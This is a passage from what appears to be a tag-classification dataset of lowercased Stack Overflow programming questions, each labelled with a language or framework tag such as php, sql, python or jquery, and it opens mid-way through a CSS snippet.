https://encrypted-tbn1.gstatic.com/images q=tbn:and9gcrhq6korpe0qznjxgclg03lwq_n1markthc4ol2cj9f06rakhqajg ); } #box3{ background-image:url( https://encrypted-tbn0.gstatic.com/images q=tbn:and9gcrwfgxpltrhbs_a3m_vvc8i-m27rdh9fkidxulqysegwuazc4ey ); } #box4{ background-image:url( https://encrypted-tbn0.gstatic.com/images q=tbn:and9gcspolpdthgt7nhyuutsc3zrpb5juv4g6vmieqkd0vo9nrot-ms46w ); } .glyphicon{ color: red; } .col-md-2{     position: absolute;     left: 10px;     top: 10px;     background: lightbrown;     width: 20%;     border: 1px solid black;     margin:10px;     height: 50%;     border-radius:15px;  }  } footer{     background: lightgrey;     margin-top:10px;     margin-bottom: 20px;     padding: 20px;  } </code></pre>,javascript
php many elseif statements better performance  i was writing a site in php the last few weeks and always had a question in my mind. on my index.php i route all the templates file like this      <pre><code>    if(isset($_get[ search ])){         include_once  template/template.search.php ;     }     elseif(isset($_get[ newsletter ])){         include_once  template/template.newsletter.php ;     }     elseif(isset($_get[ product ])){         include_once  template/template.product.php ;     }     elseif(isset($_get[ categories ])){         include_once  template/template.categorie.php ;     }     elseif(isset($_get[ about ])){         include_once  template/template.about.php ;     }     elseif(isset($_get[ sitemap ])){         include_once  template/template.sitemap.php ;     }     else     {            include_once  template/template.index.php ;          } </code></pre>   but for me it dosen t look very clean. is there a better possibility to handle a job like this      i already tried it like this  but didn t worked out for me    <pre><code>    $i = 0 ;     switch($i){     case(isset($_get[ search ])):         include_once  template/template.search.php ;         break;     default:         include_once  template/template.index.php ;          break; } </code></pre>   edit: better writing in the title was a bit misleading some of you  so i m searching for the best performance for sure.,php
intent-filter for  choose an action   when web-page contains file picker  user clicks on button   choose an action  popup appears (as you can see on picture; also it is google chrome).    <a href= https://i.stack.imgur.com/1nnxe.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1nnxe.png  alt= enter image description here ></a>    what intent-filter should i add to activity in androidmanifest file in order to my app appeared in  choose an action  list,android
a potentially dangerous request.form  - get the message  i have a website and someone (every time the same) is trying to send me a message through a textbox (he adds some html code where he shouldn t) and the error is raised.     unfortunately  all i can get are messages like this one <strong>= ...chemistry http://cra... </strong> so it`s no way that i can understand what he try to tell me.     my question is: how i can expand that text characters length limit or handle my own error so i can get the whole message,asp.net
specifying iframe src from an html form  newby to iframes and i m curious how i would specify the iframe  src  from a basic html form  something similar to how optimizely works - user specifies their your own url  url loads into the iframe on the next page.    looking to use javascript entirely to do this  if possible. any help or a sense of direction would be greatly appreciated!    thanks in advance,javascript
guessing game isdigit help python  i created a guessing game that only allows the user to type 4 numbers. my error is   int  object has no attribute  isdigit  . i m trying to make it so when the user types an alphabetical letter it displays an error message saying something like  type only numbers  and lets the user guess again. can someone give me suggestions     thank you!    sorry for my english (not my first language)    <pre><code>import random n = random.randint(0  9999) guesses = 0 print()  while true:     guess = (input( enter number from 0 to 9999 ))   guess = int(guess)    if not guess.isdigit():       print( only numbers are allowed )    else:     guess = int(guess)     guesses = guesses + 1      if len(str(guess)) != 4:       print (guesses  guess   invalid! 4 characters only )       print()      elif guess &lt; n:       print (guesses  guess   too low )       print()      elif guess &gt; n:       print (guesses  guess   too high )       print()      elif guess == n:       break  print (guesses  guess   you guessed it! ) </code></pre>,python
how do i optimize a piece of code to execute under 2 seconds  for a coding practice challenge i wrote this python code  but is giving 6 seconds of execution time but i want it to execute under 2 seconds. how should i modify this code  future tips also welcomed.   <pre><code>times = int(raw_input())  for i in range (times):     count = 0     z =  raw_input().split()     a d = int(z[0]) int(z[1])     p= int(raw_input())     while a%p != 0:         a= a+d         count = count+1     print count </code></pre>   brief of the problem statement:    input format: the first line contains a number  tc  denoting the number of test cases. the second line contains two integers  a and d - a depicts the first term in the ap  d depicts the common difference. the last line contains the prime number.    output format: you have to print the first index (0-based) of the multiple of the given prime number in the given ap. if no such element exists in this infinite ap  then print -1.    constraints:   <pre><code>0 &lt;= a  d  &lt;= 10^18 1 &lt;= p &lt;= 10^9 </code></pre>   sample input:   <pre><code>1 4 9 11 </code></pre>   sample output:   <pre><code>2 </code></pre>   explanation: the ap would be: 4  4+9=13  13+9=22  22+9=31 - and the prime number is 11  so the index is [2].,python
word-wrap messes the position of the element  i have a problem with css word-wrap  it messes up the position of the button according to the number of words it contain as shown below    my css:   <pre><code>.btn-small { width: 14.6%; height: 100px; font-size: 13px; word-wrap: break-word; margin: 0; } </code></pre>   i am working on chrome     what should i add in order to control their position better       <img src= https://i.stack.imgur.com/tdqdi.png  alt= enter image description here >    what should i add in order to control their position better,css
error parsing xml: not well formed(invalid token)- can t spot error  can someone spot the error in my androidmanifest.xml  to me i have all the tags correct. i have checked the other questions but have not spotted anything. the x in eclipse is on the application start tag.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= ***      android:versioncode= 1      android:versionname= 1.0  &gt;      &lt;uses-sdk         android:minsdkversion= 18          android:targetsdkversion= 18  /&gt;   &lt;uses-permission android:name= com.android.alarm.permission.set_alarm /&gt;    &lt;application       android:allowbackup= true          android:icon= @drawable/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;         &lt;activity             android:name= com.msc.mymedisense.welcome              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity             android:name= com.msc.mymedisense.mainactivity              android:label= @string/title_activity_main              android:parentactivityname= com.msc.mymedisense.welcome  &gt;             &lt;meta-data                 android:name= android.support.parent_activity                  android:value= com.msc.mymedisense.welcome  /&gt;         &lt;/activity&gt;         &lt;activity               android:name= .appsettingsactivity              android:label= @string/title_activity_appsettings &gt;          &lt;/activity&gt;          &lt;activity               android:name= .notificationactivity              android:label= @string/title_activity_notification &gt;          &lt;/activity&gt;            &lt;receiver android:name= .timealarm  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.boot_completed  /&gt;             &lt;/intent-filter&gt;         &lt;/receiver&gt;       &lt;/application&gt; &lt;/manifest&gt; </code></pre>,android
cannot set a defaultbutton on a usercontrol    i am trying set a button on a user control as defaultbutton on a page but its not working.  here is the code for my user control   <pre><code>&lt;asp:panel id= pnltopicpicker   runat= server  defaultbutton= btnsubmit &gt;     &lt;div class= padbottom &gt;         &lt;div id= divtopic  class= floatleft paddiv &gt;             &lt;div class= sectionheader floatleft padrightmediumsmall &gt;topic:&lt;/div&gt;             &lt;asp:dropdownlist id= ddlselectedtopic  runat= server  autopostback= true  onselectedindexchanged= ddlselectedtopic_onselectedindexchanged  &gt;             &lt;/asp:dropdownlist&gt;         &lt;/div&gt;         &lt;div class= floatleft padleftmediumsmall &gt;                &lt;asp:button id= btnclear  runat= server  text= clear  onclick= btnclear_click  cssclass= defaultbutton  /&gt;         &lt;/div&gt;         &lt;div class= floatright padrightmediumsmall &gt;                &lt;asp:button id= btnsubmit  runat= server  text= view report  onclick= btnsubmit_click  onclientclick= return viewreportsubmit(event);  cssclass= defaultbutton  /&gt;         &lt;/div&gt;      &lt;/div&gt; &lt;/asp:panel&gt; </code></pre>   i am using the above control : topicpicker in a page:   <pre><code>&lt;asp:updatepanel id= pnlfind  runat= server  updatemode= conditional &gt;             &lt;contenttemplate&gt;             &lt;div class= padleft &gt;                 &lt;incapnet:topicpicker id= inctopicpicker  runat= server  onclearclick= btnclear_click  onsubmitclick= btnsubmit_click  onselectedtopicchanged= ddlselectedtopic_changed  /&gt;             &lt;/div&gt;             &lt;div class= clearboth  /&gt;             &lt;div class= padtop padleft  &gt;                 &lt;asp:gridview id= gvfindgrid  runat= server  autogeneratecolumns= false  onrowdatabound= gvfindgrid_rowdatabound                            cssclass= contrasttable ufwidetable   gridlines= none &gt;                     &lt;alternatingrowstyle cssclass= alternaterow  /&gt;                     &lt;rowstyle cssclass= row  /&gt;                     &lt;headerstyle cssclass= headerrow  /&gt;                     &lt;emptydatatemplate&gt;                         no records found                     &lt;/emptydatatemplate&gt;                     &lt;columns&gt;                     ...                      ...         &lt;/contenttemplate&gt;     &lt;/asp:updatepanel&gt; </code></pre>   now when i hit enter  on the page  i want the  btnsubmit  to be executed  which is not happening.      how do i get this working.    thanks,asp.net
what is the order of operations on a java initilization block   i stumbled across a strange quirk in java today  and i am unable to figure out why this functionality behaves the way it does.    take the following example:   <pre><code>public class initializertwo {      {          system.out.println(x);         x = 100;         system.out.println(x);     }      byte x;      public static void main (string[] args) {         initializertwo i2 = new initializertwo();         system.out.println(i2.x);     } } </code></pre>   as expected the two system.out lines in the initialization block fail because i cannot reference a field before it is defined.      what i cannot figure out is why the assignment (x = 100) <em>does</em> compile  and i don t understand why this is not bound by the same definition rules as the system.out lines.  i do know that the type definition is factored in because i will get an expected compilation error if i set x = 1000.    note that if you move the initialization block after the declaration  the code compiles and yields 0  100  100 as expected.    can anyone explain this behavior   a link to an official java spec would be great - i have been unable to find one so far.,java
adding some logic to sql query  first of all i m really not that great at sql  with that said  onwards to the question:    lets say i have a table called abilities. in this example abilities has a id  personid  text.    lets say i do a search where i specify that i want to distinct list every person that has the ability to  fly    drive    sing  but do not have the ability to  fight    skateboard     is there anyway to write such a query which in the end will only return the rows that match my above statement  the table and it s contents is purely fictional i might add  hence the wierdness :p    i would really appreciate help with this as it s for a rather complex search utility for a database.    thanks,sql
c++ book class doesnt return book title  i am practicing writing classes for c++ and have written a book class. each book has a title  cost and number of pages. when i try to return and print out the title  cost and number of pages  title is always a blank field. the others return and print fine.    what am i missing    <pre><code>#include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; using namespace std; class book { private:         char mytitle[50];            int mypages;         double myprice;  protected:   public:         void settitle(char *title) {strcpy(this-&gt;mytitle  title);}         void setprice(double price) {this-&gt;myprice = price;}         void setpages(int pages) {this-&gt;mypages = pages;}         char *gettitle() { return mytitle;}         double getprice() { return myprice;}         int getpages() {return mypages;}          book(char title[50]  int pages  double price) {             cout &lt;&lt;  reached book constructor...  &lt;&lt; endl;             mytitle[50] = title[50];             mypages = pages;             myprice = price;         }   // constructor void output();  //function declaration here                     // function implementation down further };  int main() {     int numpages;     char mytitle[50];     double cost;     cout &lt;&lt;  main...\n  &lt;&lt; endl;     cout &lt;&lt;  enter name of the book...  &lt;&lt; endl;     cin.ignore(); // fflush     cin.getline(mytitle  50);     cout &lt;&lt;  enter the number of pages...  &lt;&lt; endl;     cin &gt;&gt; numpages;     cout &lt;&lt;  enter cost...$  &lt;&lt; endl;     cin &gt;&gt; cost;     book *mybook = new book(mytitle  numpages  cost);     mybook-&gt;output(); }  // function implementation is  outside the class  void book::output() {     cout &lt;&lt;  function defined outside the class.  &lt;&lt; endl;     cout &lt;&lt;  title:   &lt;&lt; this-&gt;gettitle() &lt;&lt; endl;       cout &lt;&lt;  cost:   &lt;&lt; getprice() &lt;&lt; endl;     cout &lt;&lt;  number of pages:   &lt;&lt; getpages() &lt;&lt; endl; } </code></pre>,c++
how to get pic for each song  i come to know that its known as album art . i get song name   artist  album from my code but not album art <pre><code> string[] star = { * };      cursor cursor;     uri uri = mediastore.audio.media.external_content_uri;     string selection = mediastore.audio.media.is_music +   != 0 ;       cursor = getcontentresolver().query(uri  star  selection  null  null);      if (cursor != null) {          if (cursor.movetofirst()) {             int i = 0;             drawable img;             do {                 string songname = cursor                         .getstring(cursor                                 .getcolumnindex(mediastore.audio.media.display_name));                  path[i] = cursor.getstring(cursor                         .getcolumnindex(mediastore.audio.media.data));                  string albumname = cursor.getstring(cursor                         .getcolumnindex(mediastore.audio.media.album));                 albumid = cursor                         .getstring(cursor                                 .getcolumnindex(mediastore.audio.media.album_id));                 song.add(songname); </code></pre>   //above code works perfectly but this next line creates error<br>              string path =                                                                               cursor.getstring(cursor.getcolumnindex(mediastore.audio.albums.album_art));                     system.out.println(path);                     i++;                 }                 while (cursor.movetonext());,android
can my ios app startup itself on a background   i have an app  which runs on a background. it would be great if the app would run on some inaccessible threat and user couldn t turn it off just by classic  double home button style . is that possible on ios  <strong>how all those notification apps like news work  that im still getting notifications even if they are not listed in  double home button menu  </strong>    my app is checking if there are new data in healthkit. it works on the background  but user can easily turn it off and thats kind of stupid in this case... i use <a href= https://stackoverflow.com/questions/28458231/healthstore-enablebackgrounddelivery-when-screen-is-locked/28818963#28818963 >this</a> to get data from hk while in the background (the code of the guy who posted that question)  is that right way     <strong>also why my app don t ask for permission to run in background  why it isn t listed in general settings-backgroundapprefresh </strong>    thank you for any answers/tipes,ios
bundler cant read autoprefixer-rails-6.0.3.gem  bundler is throwing an error <code>could not read the gem</code> &amp; that <code>it may be corrupted.</code>   <pre><code>bundler::gemspecerror: could not read gem at /home/pragadeesh/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/cache/autoprefixer-rails-6.0.3.gem. it may be corrupted. an error occurred while installing autoprefixer-rails (6.0.3)  and bundler cannot continue. make sure that `gem install autoprefixer-rails -v  6.0.3 ` succeeds before bundling. </code></pre>   i dont know how to resolve this problem   please help me out.,ruby-on-rails
return a list of rows with my daily capital from a table with cash inflows   i have a database that holds a list of inflows of cash:   <pre><code>amount date 100    11/4/2013 150    12/4/2013 50     12/4/2013 240    13/4/2013 </code></pre>   i need to get a list of rows with my capitalization (the sum of all rows to that date) for each day.    in this case the result should be:   <pre><code>capital date 100     11/4/2013 300     12/4/2013 540     13/4/2013 </code></pre>   i would normally append what i am trying but i have no idea how to do this. could someone tell me how can this be done on sql,sql
how to integrate the ofbiz erp order invoice details for accounting in dot net  i need the details about how to intergrate the ofbiz erp of order invoice details for accounting in dot net.,.net
program crashes when trying to return pointer to linked list  i m trying to return a pointer to a linked list to main so that i can pass it around to other functions.anytime i try to get load to pass anything the program crashes and it messes up the file output.i just can t figure out why.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  struct list{                //creating linked list  char furn[128];  int priority;  struct list *next;            };  typedef struct list list;   //typedef for list               //creating pointer for head of list  list **load(); int main(list **points)  {   points-&gt;load();               //crashes here no if i try to set load to anything  works fine and prints okay if i don t      } list ** load()  {    list *head;      list *current;                        //so we can build and navigate list     list *new;     file *fin  *fout;                     //so that we can start file manipulation     char name[]=  california.txt  ;     fin=fopen(name   r );     new=malloc((sizeof(list)));    //creating list     head=new; while(current-&gt;next!=null)     {         current=new;         new=malloc((sizeof(list)));         fscanf(fin  %s %d  current-&gt;furn &amp;current-&gt;priority);    //reading and populating list         current-&gt;next=new;       if(feof(fin))         current-&gt;next=null;     }    current=head;    printf( %s %d  current-&gt;furn current-&gt;priority);  while(current-&gt;next!=null)    {         printf( starting );        printf( %s %d  current-&gt;furn current-&gt;priority);        current=current-&gt;next;    }    list **points=&amp;head;    return points;    //returning so we can have a pointer to the list     } </code></pre>,c
how to subtract result of 2 queries grouped by a field  i have a table in this form:   <pre><code>id  year type  amount  1  2015   in      10  2  2015  out       5  3  2016   in      20  4  2016  out       1  ... </code></pre>   the followin query will give me the sum of the amount of type =  in  grouped by year:   <pre><code>select year  sum(amount) from table where type = in group by year </code></pre>   how am i going to get the following result    <pre><code>year sum(in) sum(out)  in-out  2015     10       5        5 2016     20       1       19 </code></pre>   sum(in) is the sum of the  amount  where type= in .,sql
is clgeocoder supported on ios 4.2   when i look at apple docs  i get a bit confused.   <ul> <li>on one hand they have statements indicating that clgeocoder can be used from <strong><em>ios 5 onwards</em></strong>.</li> <li>on the other hand they have statements like:  for applications running on <strong><em>ios 4.1 and earlier</em></strong>  you must perform reverse-geocoding requests using the mkreversegeocoder class </li> <li>then what about the 4.2 onwards range  can it support clgeocoder or not </li> </ul>   does anyone have an answer via their first hand experience with an iphone with 4.1 &lt; version &lt; 5.0 installed where they figured out if clgeocoder will work or not,ios
how to write a correct setter method in objective-c  there s a setter method in employee class   <pre><code>-(void)setage:(int)age{     self.age = age; } </code></pre>   i know that i should use _age instead of self.age. is there any other problems in this setter method     i guess maybe i should check the age because if age &lt; 0 is not correct for employee,objective-c
i have no idea object(this) means  in <a href= https://developer.mozilla.org/en/docs/web/javascript/reference/global_objects/array/fill  rel= noreferrer >https://developer.mozilla.org/en/docs/web/javascript/reference/global_objects/array/fill</a>    there is a line like   <pre><code>// steps 1-2. if (this == null) {   throw new typeerror( this is null or not defined ); }  var o = object(this);          // &lt;- what is this             // steps 3-5. var len = o.length &gt;&gt;&gt; 0;  // steps 6-7. var start = arguments[1]; var relativestart = start &gt;&gt; 0;  // step 8. var k = relativestart &lt; 0     math.max(len + relativestart  0) :   math.min(relativestart  len);  // steps 9-10. var end = arguments[2]; var relativeend = end === undefined     len : end &gt;&gt; 0;  // step 11. var final = relativeend &lt; 0     math.max(len + relativeend  0) :   math.min(relativeend  len);  // step 12. while (k &lt; final) {   o[k] = value;   k++; }  // step 13. return o; </code></pre>   and i can t find any necessity to assign o as object(this).    is it written just for readability or is there any specific reason for assigning,javascript
searching for a matching string  i am trying to search a list of strings for a match.    this is my list of strings:   <pre><code>ignore = [ 40015   8002 ] </code></pre>   and i am using the following to look for a match   <pre><code>if any(evtsummary in s for s in ignore): </code></pre>   if evtsummary =  something 8002  it matches    if evtsummary =  something8002  it does not match    i want it to match in both cases.,python
i want to combine count of various sql queries into one to show various columns <pre><code>select count(1) as count1 from ( select a b from table1 union select a  b from table2 ) select count(1) as count2 from  ( select c d from table3 union select c d from table4 ) select count(1) as count3 from ( select e f from table5 union select e f from table6 ); </code></pre>   i want to display a table showing count1 count2 count3.,sql
automating java code writing  we have an application where in we are using technologies like java  elastic search  ext js. we very often face the requirement of adding a new field in our application which inturn means adding that field in multiple java classes. but the process remains the same for all the fields which need to be added newly and hence making it tedious. can i write an utility in java using which based on certain inputs like class name  field name and some other specific details the code will be auto generated in the required java files  please suggest the feasibility,java
scrolling for uitableview is kind of jerky  i have a <code>uitableview</code> which has images for all of the cells  but all of the images are already on the cell (i m not setting the images my self) and they are all loaded from images included in the project. these are not images being loaded from a server or anything. however  the scrolling of the tableview is still some what jerky. is there anything that can be done to speed it up  i have the function to generate the cell here:   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     // post init  update with the fair info so it can attend/de-attend on its own     companiescustomcell *cell = [companiescustomcell dequeorcreateintable:tableview];     sectioninfo *sectioninfo = [sectioninfoarray objectatindex:indexpath.section];     cell.fairdictionary = [sectioninfo.arrmdetails objectatindex:indexpath.row];     [cell updateeventicon:(nsstring*)[[sectioninfo.arrmdetails objectatindex:indexpath.row] valueforkey:@ type ]];      cell.lblfairname.text = [[sectioninfo.arrmdetails objectatindex:indexpath.row] valueforkey:@ title ];     [cell setselectionstyle:uitableviewcellselectionstylenone];      // set event start time  end time  and date     nsstring *newdate = [myutil converttolocaltime:@ mmmm dd  yyyy  :[[sectioninfo.arrmdetails objectatindex:indexpath.row] valueforkey:@ start_time ]];             nsstring *startstring = [myutil converttolocaltime:@ hh:mm a  :[[sectioninfo.arrmdetails objectatindex:indexpath.row] valueforkey:@ start_time ]];     nsstring *endstring = [myutil converttolocaltime:@ hh:mm a  :[[sectioninfo.arrmdetails objectatindex:indexpath.row] valueforkey:@ end_time ]];      cell.lblfairdate.text = newdate;     cell.lblfairstarttime.text = startstring;     cell.lblfairendtime.text = endstring;     return cell; } </code></pre>   is there anything i am doing wrong that could be slowing it down     <strong>edit</strong>    i m including the code for the <code>converttolocaltime</code> function here as i think this may be the root cause. however...i m really confused how to optimize it. i m taking the timestamp value from the server (in utc) and i am converting that to the users local timezone. is this process really that slow    <pre><code>// converts given time string into the users current timezone // based on the location of their phone +(nsstring *)converttolocaltime:(nsstring*)format :(nsstring*)stringdate {      // get the date in the servers time zone     nsdate *date = [myutil converttoserverdate:stringdate];      // convert the date to the local timezone     nsdateformatter *localformat = [[nsdateformatter alloc] init];     [localformat setdateformat:format];     nsstring *localdate = [localformat stringfromdate:date];      [localformat release];     return localdate; }  // provides a nsdate object with the servers timezone set +(nsdate *)converttoserverdate:(nsstring*)stringdate {      // first get the nsdate object in the servers timezone     nstimezone *tz = [nstimezone timezonewithname:servertimezone];     nsdateformatter *informat = [[nsdateformatter alloc] init];     [informat setdateformat:@ yyyymmddhhmmss ];     [informat settimezone:tz];     nsdate *date = [informat datefromstring:stringdate];      [informat release];     return date; } </code></pre>,ios
using send_file to a remote source (ruby on rails)  in my app  i have a requirement that is stumping me.    i have a file stored in s3  and when a user clicks on a link in my app  i log in the db they ve clicked the link  decrease their  download credit  allowance by one and then i want to prompt the file for download.    i don t simply want to redirect the user to the file because it s stored in s3 and i don t want them to have the link of the source file (so that i can maintain integrity and access)    it looks like send_file() wont work with a remote source file  anyone recommend a gem or suitable code which will do this,ruby-on-rails
mysql update if field contains certain characters  im trying to update a field only if the field contains certain characters j k l m n o p q r i want to avoid using <code>update tbl set field = field2 where field like  %j </code> or <code>field like  %k </code> ...etc.    is there some syntax to create a list of the characters i am looking for,mysql
group dates by week: open  closed  active  here is my scenario. i have a table like this:   <pre> ------------------------------------------------------------------ |  ticket     |     start date      |    finish date             | ------------------------------------------------------------------ |   123       |     1 apr 12        |        20 apr 12           | |   124       |     4 apr 12        |        28 apr 12           | |   125       |    16 apr 12        |         null               | |   126       |    28 apr 12        |        4 may 12            | |   127       |     2 may 12        |         null               | ------------------------------------------------------------------ </pre>   and i need to get a result set like this:   <pre> ------------------------------------------------------------------ |  week       |     opened      |    closed       |    active    | ------------------------------------------------------------------ |   5         |       3         |        2        |     50       | |   6         |       4         |        5        |     49       | |   7         |       2         |        6        |     45       | |   8         |       5         |        4        |     46       | ------------------------------------------------------------------ </pre>   basically  i want to see how many tickets were opened in a given week  how many were closed  and how many were simply active during that week (opened previously  and not closed yet).    i think i may have figured out how to derive the opened and closed  but i am really having trouble querying the active column out of this. any ideas     update: adding info as requested.    this is for sql.    the query i have thus far is like this  it doesn t include active yet:   <pre>     select     a.week      a.created      b.closed     from     (     select         datepart(week  t.[start date]) as week          count(t.[ticket]) as opened         from sqltable as t         where [start date] > getdate() - 69 -- last 10 weeks         group by         datepart(week  t.[start date])     ) as a     left join     (         select         datepart(week  t.[finish date]) as week          count(t.[ticket]) as closed         from sqltable as t         where [finish date] > getdate() - 69 -- last 10 weeks         group by         datepart(week  t.[finish date])     ) as b     on a.week = b.week     order by a.week; </pre>,sql
my sql queries inorder to update it  how can i update over this query   <pre><code>$sqlquery = update( conference                        array( area_of_expertise  =&gt; $area_of_expertise_id1                              long_name  =&gt; $_post[ longname ]                              short_name  =&gt; $_post[ shortname ]                              description  =&gt; $_post[ textarea ]                              creator_id  =&gt; $get_id                           )                     ); </code></pre>   i inserted all the need data in the conference table while making sure that it was the same data the user had chosen.,mysql
assigning an object s name taken from expression  i need to extract data from external source. i build a base clas with some structure. i need objects with type of mybase class but with a name which automatically describes how many times i iterate over the source. i build a class which stores this number and with a call method which returns the object i need. i can t find a way to have a string as the name for the object but automatically differ every time i build new object. i simplified the code for this example:    <pre><code>class mybase:     def __init__(self):         iteratedvalue = none  class myiterator:     def __init__(self):         self.k = 0     def __call__(self  s):         self.k += 1         self.name =  mydata  + str(self.k)         # create an object named mydata1  mydata2 ...         self.name = mybase()          self.name.iteratedvalue = s          print  %s name is %s for k = %i  % (self.name  self.name.iteratedvalue  self.k)          # return object named mydata1 type of mybase         return self.name  def dataextraction():     # function to extract data form external source     data = myiterator()     data( alice )      data( ben )   dataextraction() </code></pre>   my output is:   <pre><code>&lt;__main__.mybase instance at 0x7f261b6dc6c8&gt; name is alice for k = 1 &lt;__main__.mybase instance at 0x7f261b6dc6c8&gt; name is ben for k = 2 </code></pre>   i need to return an object with a specific name and i expect an output:   <pre><code>mydata1 name is alice for k = 1 mydata2 name is ben for k = 2 </code></pre>   the original problem is much more complicated. i have external data and every time they come i want to extract some values from this data. every time i am doing this i need an object to work with it but i need this object with different names because on the end i store them in dict for another methods. in other words i work with data and store my results in the object <code>mydata1</code> when the original data change i work with it again and store the results in <code>mydata2</code> etc. after all i need all <code>mydata</code> objects and do statistics on them to see how the change. i do not have access to original data any more. i need automatic name convention for <code>mydata</code> and the best if it will express iterator.    how can i have a string in place of <code>self.name</code> as the name for an object,python
cannot retrieve values multiselect widget  i am using <a href= http://www.erichynds.com/jquery/jquery-ui-multiselect-widget/  rel= nofollow >jquery ui multiselect widget</a> for multiple select  and i would like to retrieve the values for a later php search.    <a href= http://jsfiddle.net/cuzr6/  rel= nofollow >you can find the jsfiddle here</a>   <pre><code>$( #music ).multiselect();  $( #searchbutton ).click(function() {             var musicstyles = $( music ).val();             alert( styles selected  + musicstyles);         }); </code></pre>   when i hit search  i get  undefined .    thanks everyone!,jquery
does events are also copied when you clone any element in jquery   does events are also copied when you clone any element in jquery,jquery
should i return from within a foreach loop  i see plenty of code examples where the user is returning from within a foreach loop  but is it bad form to do this   does it leave any orphaned references  for example     here s an example:   <pre><code>$array = array(1  2  4  8  16);     foreach ($array as $value) {   if ($value == 8) return true;  } return false; </code></pre>   edit: this is quite different from its supposedly duplicate question  simply by the fact that it focuses on the <code>return</code> instruction  not the <code>break</code>  <code>continue</code>  <code>goto</code>  or any other instruction.  users who are searching for the answer to this question will no necessarily search for the supposed alternatives.  in my case  it didn t event occur to me to think them through.  even if i had i would not have come up with an exhaustive list.,php
how can i toggle between 2 images  im trying to use this code to toggle between a play and pause button but it doesn t seem to be working. how can i get it toggle between the 2 images when the are clicked     <a href= http://jsfiddle.net/afzg9/1/  rel= noreferrer >http://jsfiddle.net/afzg9/1/</a>   <pre><code>$( #infotoggler ).click(function() {     if($(this).html() ==  &lt;img src= http://tympanus.net/pauseplay/images/play.png  width= 60px  height= 60px /&gt; )     {         $(this).html( &lt;img src= http://maraa.in/wp-content/uploads/2011/09/pause-in-times-of-conflict.png width= 60px  height= 60px /&gt; );     }     else     {         $(this).html( &lt;img src= http://tympanus.net/pauseplay/images/play.png  width= 60px  height= 60px /&gt; );     } }); </code></pre>   thanks,jquery
unable to trigger the bind the event  i can t figure out why this event not triggered after multiple times trying with different ways. all i want is to bind my event with the change of value of first input text box through drop down menu category name. means when i select  a or b or c   from  category list   than that will updated to  first input  and the event will trigger by the change of value of  first input .    but i m stuck and only able when i press some key on text field of  first input  but that s not my requirement. my <a href= https://jsfiddle.net/l0vrz9vs/3/  rel= nofollow noreferrer >jsfiddle</a> is here and the piece of code is given below.   <pre><code>&lt;head&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js &gt;&lt;/script&gt;     &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css  /&gt;    &lt;/head&gt;     &lt;body&gt;     &lt;div class= col-md-3 &gt;                       &lt;label&gt;categoryname&lt;/label&gt;                     &lt;select class= form-control  name= cat_id  id= cat_id &gt;                         &lt;option&gt;a&lt;/option&gt;                         &lt;option&gt;b&lt;/option&gt;                         &lt;option&gt;c&lt;/option&gt;                     &lt;/select&gt;                 &lt;/div&gt;       &lt;div class= col-md-4 &gt;             first input&lt;input type= text  name= take  id= take  class= form-control  placeholder= take value   /&gt;                           &lt;/div&gt;        &lt;div class= col-md-4 &gt;           give output&lt;input type= text  name= give  id= give  class= form-control  placeholder= give value  /&gt;        &lt;/div&gt;                         &lt;script&gt;                     $(document).ready(function(){                        $(function(){                       $( body ).on( click   #cat_id  function(){                            var s     =$( #cat_id ).val();                           var n = s.lastindexof(   );                           var s2 = s.substring(n + 1);                           $( #take ).val(s2);                       })                   });                    $( #take ).bind( input selectionchange propertychange  function(){  alert($( #take ).val());                     });               });            &lt;/script&gt; </code></pre>,jquery
jquery stuck in an infinite loop  i have a website with a audio player and i m trying to improve the random option by adding an option that would allow the user to change the minimum amount of music that needs to be played in order for the same music to get selected again    so basically: song n°15 -> at least x different songs -> song n°15    and you would be able to change x with a slider    this is the code i currently have:   <pre><code>var song = 1; var tweensongs = 3; var songlist = []; var songlistnumber = 1;  function randomizetrack() {     song = math.floor((math.random() * songtotal) + 1);      if (songlistnumber - tweensongs &lt; 1) {         for (i=0; i &lt;= tweensongs - 1; i++) {             if (song == songlist[songlistnumber - i]) {                 randomizetrack()             }         }     }     else {         for (i=0; songlistnumber != 0; i++) {             if (song == songlist[songlistnumber - i]) {                 randomizetrack()             }         }     }      songlist[songlistnumber] = song;     songlistnumber++; } </code></pre>   the problem:    after the third song  the webpage freezes and i need to restart it  so there s an infinite loop in there but i ve confused myself with my own code  does anybody know what s causing this infinite loop.    <a href= http://googledrive.com/host/0bybwy60zsbqpzjfjadhtqlrfdtg/  rel= nofollow >here s a link to the website with the problem</a>,jquery
which data persistence options are available on the iphone   i know already:    core data  sqlite3  property list serialization  nscoding with nscoder (encode / decode)... what else,iphone
array of strings in java  i m working on an algorithm to find all paths between two nodes in a graph. that s it  i was able to encode all paths in an array of strings as follows:   <pre><code>string []paths = new string[50]; </code></pre>   <em>note: i m using an array of strings to store the paths  but i can store them in any other data structure when necessary.</em>    sample of the data in my array would be something like the table below  note that the letters are my data the hyphens used for visualization only:   <pre><code> ----------- | a | b | c |  ----------- | d | e |   |  ----------- </code></pre>   all i need is to process the above array  and output all the combinations as:   <pre><code>abc  aec  dbc  dec </code></pre>   i tried to solve this problem using the iterative approach  loops   but i failed. i think we might to do this with recursion  but i m not sure how to do that. also  i m not aware if there is any data structure that deals with this problem. something better to store the paths rather than an array of strings     anyway  here is what i m working on with loops:   <pre><code>string []temp = new string[100]; for( r=0; r&lt;paths.length ;r++ )    for( c=0; c&lt;paths[r].length() ;c++ )       for( j=c+1; j&lt;paths[r].length() ;j+1 )          temp[r] += paths[j]; </code></pre>,java
